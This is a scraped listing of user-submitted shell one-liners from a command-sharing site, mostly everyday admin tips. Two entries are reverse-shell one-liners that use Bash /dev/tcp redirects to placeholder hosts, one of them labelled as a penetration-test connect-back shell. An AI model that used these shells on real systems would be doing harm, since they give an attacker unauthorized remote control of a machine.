Commands tagged shell (95)

  • 2
    renice 19 -p $$
    hemanth · 2009-07-29 16:56:22 2
  • Manages everything through one sed script instead of pipes of greps and awks. Quoting of shell variables is generally easier within a sed script.

    svn log fileName | sed -ne "/^r\([0-9][0-9]*\).*/{;s//\1/;s/.*/svn cat fileName@& > fileName.r&/p;}" | sh -s
    arcege · 2009-09-04 17:23:45 2
  • Connect-back shell using Bash built-ins. Useful in a web app penetration test, if it's the case of a locked down environment, without the need for file uploads or a writable directory. -- /dev/tcp and /dev/udb redirects must be enabled at compile time in Bash. Most Linux distros enable this feature by default but at least Debian is known to disable it. --

    exec 0</dev/tcp/hostname/port; exec 1>&0; exec 2>&0; exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0
    truemilk · 2010-03-18 17:25:08 4
  • extension to tali713's random fact generator. It takes the output & sends it to notify-osd. Display time is proportional to the lengh of the fact.

    wget -O - 2>/dev/null | grep \<strong\> | sed "s;^.*<i>\(.*\)</i>.*$;\1;" | while read FUNFACT; do notify-send -t $((1000+300*`echo -n $FUNFACT | wc -w`)) -i gtk-dialog-info "RandomFunFact" "$FUNFACT"; done
    mtron · 2010-04-02 09:43:32 3
  • Continue a current job in the background and detach it from current terminal

    %1 &!
    Dema · 2011-01-14 02:26:24 3

  • 2
    bash -i >& /dev/tcp/IP/PORT 0>&1
    rux · 2011-02-16 11:54:29 2
  • Must be run as root. The 'tomcat' user must have access to the .keystore file. The key and keystore passwords must be the same. The password must be entered into the server.xml config file for Tomcat. Show Sample Output

    ${JAVA_HOME}/bin/keytool -genkey -alias tomcat [-validity (# of days valid)] -keyalg RSA -keystore (Path to keystore)
    ShadowCat8 · 2011-10-13 19:40:35 4

  • 2
    unixmonkey41067 · 2012-10-19 12:13:49 2
  • Use 'ctrl-@' to set a mark. See the first comment for a better explanation.

    ctrl-x ctrl-x
    somaddict · 2012-11-16 03:49:26 8
  • Uses the shell builtin `declare` with the '-f' flag to output only functions to grep out only the function names. You can use it as an alias or function like so: alias shfunctions="builtin declare -f | command grep --color=never -E '^[a-zA-Z_]+\ \(\)'" shfunctions () { builtin declare -f | command grep --color=never -E '^[a-zA-Z_]+\ \(\)'; } Show Sample Output

    builtin declare -f | command grep --color=never -E '^[a-zA-Z_]+\ \(\)'
    sciro · 2018-07-23 05:24:04 28
  • This coloured prompt will show: username in green, grey "@" sign, hostname in red, current directory in yellow, typed commands in green.

    export PS1="\e[1;32m\u\e[0m@\e[1;31m\h\e[0m\e[1;33m\w:#> \e[1;32m"
    guillaume1306 · 2018-12-10 14:08:06 24
  • Like many other thing in Linux ,you can see the same thing in different way. Show Sample Output

    ip addr show
    unixbhaskar · 2009-08-29 12:52:02 2

  • 1
    which <filename>
    Hal_Pomeranz · 2009-09-12 00:51:24 4
  • Remove everything in current directory except files starting with "ca".

    rm -rf [a-bd-zA-Z0-9]* c[b-zA-Z0-9]*
    arcege · 2009-09-15 14:22:56 6
  • Thanks to comment if that works or not... If you have already typed that snippet or you know you already have IO::Interface::Simple perl module, you can type only the last command : perl -e 'use IO::Interface::Simple; my $ip=IO::Interface::Simple->new($ARGV[0]); print $ip->address,$/;' <INTERFACE> ( The first perl command will install the module if it's not there already... )

    x=IO::Interface::Simple; perl -e 'use '$x';' &>/dev/null || cpan -i "$x"; perl -e 'use '$x'; my $ip='$x'->new($ARGV[0]); print $ip->address,$/;' <INTERFACE>
    sputnick · 2009-12-13 02:23:40 24
  • Sometimes, you don't want to just replace the spaces in the current folder, but through the whole folder tree - such as your whole music collection, perhaps. Or maybe you want to do some other renaming operation throughout a tree - this command's useful for that, too. To rename stuff through a whole directory tree, you might expect this to work: for a in `find . -name '* *'`;do mv -i "$a" ${a// /_};done No such luck. The "for" command will split its parameters on spaces unless the spaces are escaped, so given a file "foo bar", the above would not try to move the file "foo bar" to "foo_bar" but rather the file "foo" to "foo", and the file "bar" to "bar". Instead, find's -execdir and -depth arguments need to be used, to set a variable to the filename, and rename files within the directory before we rename the directory. It has to be -execdir and won't work with just -exec - that would try to rename "foo bar/baz quux" to "foo_bar/baz_quux" in one step, rather than going into "foo bar/", changing "baz quux" to "baz_quux", then stepping out and changing "foo bar/" into "foo_bar/". To rename just files, or just directories, you can put "-type f" or "-type d" after the "-depth" param. You could probably safely replace the "mv" part of the line with a "rename" command, like rename 'y/ /_/' *, but I haven't tried, since that's way less portable.

    find . -depth -name '* *' -execdir bash \-c 'a="{}";mv -f "$a" ${a// /_}' \;
    DewiMorgan · 2012-02-28 04:03:40 3
  • Find installed network devices. Show Sample Output

    sudo lshw -C network
    cantormath · 2012-06-07 10:32:49 3
  • This uses mutt to send the file, and doesn't require uuencode etc

    echo "This is the message body" | mutt -s "Message subject" -a
    jedifu · 2013-09-26 08:05:26 2
  • Converts control codes and spaces (ASCII code ≤ 32) to visible Unicode Control Pictures, U+2400 ? U+2420. Skips \n characters, which is probably a good thing. Show Sample Output

    /bin/echo -e '\002Hello, Folks\t!\r' | perl -pwle 'use v5.14; s/([\N{U+0000}-\N{U+0020}])/chr(9216+ord($1))/ge;'
    scruss · 2014-06-30 01:45:40 9
  • Download latest released gitlab docker container

    wget -qO- ''$(curl -s ''$(curl -s | grep -m 1 -o '<a.*[0-9\.]</a>' | cut -d '"' -f 2) | grep -o '<a.* rel="nofollow">' | grep 'tar.gz' | cut -d '"' -f 2)
    BigZ · 2016-08-23 21:36:57 7

  • 1
    rangeBegin=10; rangeEnd=20; for ((numbers=rangeBegin; numbers<=rangeEnd; numbers++)); do echo $numbers; done
    forouharid · 2019-07-27 21:04:27 38
  • Thanks to this user: Show Sample Output

    s='Test "checkin_resumestorevisit \"- "" Run'; s=${s#*'"'}; s=${s%'"'*}; echo "$s"
    bugmenot · 2022-01-08 16:16:18 195
  • This is a working version, though probably clumsy, of the script submitted by felix001. This works on ubuntu and CygWin. This would be great as a bash function, defined in .bashrc. Additionally it would work as a script put in the path. Show Sample Output

    lynx -dump | grep -A 3 U | sed 1D
    xizdaqrian · 2009-05-05 07:52:10 10
  • A wonderful command line utility to check the internet usage. It has got so many useful switch to display the data you want.Please visit the man page to get all the information.Get it from this website Show Sample Output

    unixbhaskar · 2009-08-28 04:14:42 3
  • Sometime you need to run firefox from the command just to rectify something about it.Means,if some of the addon broke you firefox setting or theme broke your ff setting then fall back to commandline i.e shell and type the mentioned command. It will open up an information box with few option along with the checkbox besides them(means you can select them) to start the web browser in safe mode.Besically deactivating all the addon and theme,except the default one.Once you are done/rectified thing ..close that session and reopen the browser normally.It should work.

    firefox --safe-mode
    unixbhaskar · 2009-08-29 04:36:19 2
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Convert seconds to [DD:][HH:]MM:SS
Converts any number of seconds into days, hours, minutes and seconds. sec2dhms() { declare -i SS="$1" D=$(( SS / 86400 )) H=$(( SS % 86400 / 3600 )) M=$(( SS % 3600 / 60 )) S=$(( SS % 60 )) [ "$D" -gt 0 ] && echo -n "${D}:" [ "$H" -gt 0 ] && printf "%02g:" "$H" printf "%02g:%02g\n" "$M" "$S" }

Makes you look busy
This makes an alias for a command named 'busy'. The 'busy' command opens a random file in /usr/include to a random line with vim. Drop this in your .bash_aliases and make sure that file is initialized in your .bashrc.

Get fully qualified domain names (FQDNs) for IP address with failure and multiple detection

tar+pbzip2 a dir

Send a local file via email
Another way of sending an attachment. -s : subject file : file to be sent

Install pip with Proxy
Installs pip packages defining a proxy

Conficker Detection with NMAP

Random play a mp3 file
Pick a mp3 at random and play it. Assumes the availability of locate with an updated db and mpg123 Not the most useful command I guess, but all of the really useful ones are taken...

va - alias for editing aliases
When setting up a new aliases file, or having creating a new file.. About every time after editing an aliases file, I source it. This alias makes editing alias a bit easier and they are useful right away. Note if the source failed, it will not echo "aliases sourced". Sub in vi for your favorite editor, or alter for ksh, sh, etc.

Find name of package which installed a given shell command
Some command names are very different from the name of the package that installed them. Sometimes, you may want to find out the name of the package that provided a command on a system, so that you can install it on another system.

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